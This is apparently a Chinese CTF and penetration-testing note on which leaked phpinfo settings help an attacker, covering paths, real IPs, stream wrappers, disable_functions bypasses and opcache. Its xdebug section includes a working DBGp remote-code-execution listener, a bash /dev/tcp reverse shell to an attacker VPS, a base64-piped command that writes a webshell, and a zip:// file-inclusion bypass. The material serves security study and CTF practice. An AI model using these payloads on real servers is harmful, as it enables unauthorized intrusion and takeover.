比赛中或者渗透中如果遇到phpinfo,从里面发现的一些线索能够对后续的渗透和解题帮助很大,这里记录总结一下目前网上比较常用的的。
下图来源于:https://seaii-blog.com/index.php/2017/10/25/73.html
1.绝对路径(_SERVER["SCRIPT_FILENAME"])
2.支持的程序
可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,如果加载了,那么就可以适当往这几个方面考虑,还可以看看是否支持gopher、是否启了fastcgi。
3.泄漏真实ip(_SERVER["SERVER_ADDR"]或SERVER_ADDR)
可以查查旁站、c段什么的,直接无视cdn
4.一些敏感配置
allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等
5.Loaded Configuration File(配置文件位置)
这一栏表明了 php.ini 这个 php 配置文件的位置,在有文件读取的情况下可以进行读取,在渗透中还是很有帮助的。
6.Registered PHP Streams(支持的流)
这个在文件包含、反序列化还有一些关键的 bypass 的时候非常有用
利用phar/zip协议绕过有后缀的文件包含:include zip:///var/www/html/upload/1.gif#1.php
7.open_basedir
这个选项设置了文件读取的时候的目录限制
8.short_open_tag
判断服务器是不是支持短标签,这在写 shell 的时候很有帮助
9.phar
文件包含还有反序列化重点关注
10.SESSION
session.save_path=”” –设置session的存储路径
session.save_handler=”” –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认使用php
这个也容易导致session处理器不同而导致的反序列化漏洞,之前文章里也说过
https://www.cnblogs.com/wfzWebSecuity/p/11156279.html
11.server api
php解释器与应用层的桥梁。
1.FPM/FastCGI 多用于和nginx通信,当然也可用于其他web中间件。 2.Apache 2.0 Handler php为apache提供的专用SAPI 3.Command Line Interface php命令行
12.disable_functions
有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。
有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。
绕过的方式有这么几个:
黑名单绕过:
百密一疏,寻找黑名单中漏掉的函数,上图中禁用的函数算是比较全的了。 比如在编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。
渗透技巧:利用pcntl_exec突破disable_functions
利用ImageMagick漏洞绕过disable_function
利用环境变量LD_PRELOAD来绕过php disable_function
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
利用扩展库绕过
综合:
https://github.com/l3m0n/Bypass_Disable_functions_Shell
13.enable_dl
上面说的利用扩展库绕过disable_functions,需要使用dl()
并且开启这个选项
14.xdebug 远程rce
漏洞利用条件:
xdebug.remote_connect_back
的回连是通过自定义 Header(xdebug.remote_addr_header
)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接,就是让被调试的服务器去连接我们的恶意主机,此时我们的恶意主机就可以和目标服务器进行交互,并且因为是xdebug是支持dbgp的,所以可以此时让恶意主机发送恶意指令到目标服务器让其执行
需要在目标站的phpinfo中看到:
xdebug.remote_connect_back => On => On xdebug.remote_cookie_expire_time => 3600 => 3600 xdebug.remote_enable => On => On
即可使用Xdebug进行连接,尝试直接命令执行
利用exp如下:rr师傅的
import socket ip_port = ('0.0.0.0',9000) sk = socket.socket() sk.bind(ip_port) sk.listen(10) conn, addr = sk.accept() while True: client_data = conn.recv(1024) print(client_data) data = raw_input('>> ') conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))
首先可以测试一下是否可以利用,直接使用curl
然后执行exp,监听本地9000端口,发送恶意payload,访问vps
反弹shell:
此时直接用
system("bash -i >& /dev/tcp/vps_id/port 0>&1")没弹回来,但是能curl到,换了个payload,尝试往网站根目录下写shell:
用payload如下,这里用base64转一下,防止payload引号发生冲突,冲突写不进去
shell_exec("echo 'ZWNobyAiPD9waHAgcGhwaW5mbygpOz8+IiA+IC92YXIvd3d3L2h0bWwvcy5waHA=' | base64 -d | bash");
看下/var/www/html下面:
有了上面base64绕过,我又回来试了一下能不能反弹shell,还是用system("bash -i >& /dev/tcp/vps_id/port 0>&1"),把反弹shell的payload进行编码一下:
然后vps上。。。。终于弹回来了,exp没问题,要自己调试一下paylaod,适当把payload编码一下挺有用的
15.opcache
opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。
如果目标网站
opcache.enable => On
即可判断开启了opcache,即有开启了潜在的攻击面
详情见0ctf ezdoor解析
https://skysec.top/2018/04/11/0ctf-ezdoor/
https://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE
https://www.angelwhu.com/blog/?p=438
16.imap
https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md
参考(侵删):
https://paper.seebug.org/397/
https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/
http://www.am0s.com/penetration/322.html
https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/
https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce
https://seaii-blog.com/index.php/2017/10/25/73.html